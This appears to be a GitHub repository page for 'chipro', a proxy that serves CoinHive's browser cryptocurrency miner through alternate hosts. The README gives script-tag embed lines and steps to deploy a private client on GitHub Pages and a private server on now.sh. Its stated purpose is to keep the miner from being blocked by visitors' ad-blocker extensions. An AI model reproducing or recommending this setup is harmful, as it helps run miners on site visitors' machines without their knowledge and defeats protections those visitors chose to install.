Skip to content

VladislavZhdanov/chipro

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Coin-Hive Proxy

This is a simple proxy for CoinHive's client and websocket server.

Disclaimer

This project is not endorsed by or affiliated with coinhive.com in any way.

Usage

Instead of embedding CoinHive's JavaScript Miner, which would be something like this:

<script src="https://coinhive.com/lib/coinhive.min.js"></script>

You can embed this proxy:

<script src="https://vladislavzhdanov.github.io/chipro/client.js?chipro=chipro-hljkminjab.now.sh"></script>

And it will work in the same way.

Why?

Ad-blockers

Create your own

You can create your own client and/or server proxies just doing the following:

Server

Just deploy this repo to now.sh

Deploy to now

This will deploy a proxy instance to your now.sh account, and it will give you a url like this: chipro-ybydcnjgkl.now.sh.

This is YOUR-SERVER-URL

Client

Just fork this repo, and create a branch named gh-pages.

This will create a github page under you github's account with the client.js file.

After that you will be able to access the client via https://<YOUR-GITHUB-USERNAME>.github.io/chipro/client.js

This is your YOUR-CLIENT-URL

Use it

Now you can use the following script tag instead of CoinHive's to avoid being blocked by an ad-block extension:

<script src="YOUR-CLIENT-URL?chipro=YOUR-SERVER-URL"></script>

It should look like the one above.

About

simple proxy for CoinHive

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • JavaScript 100.0%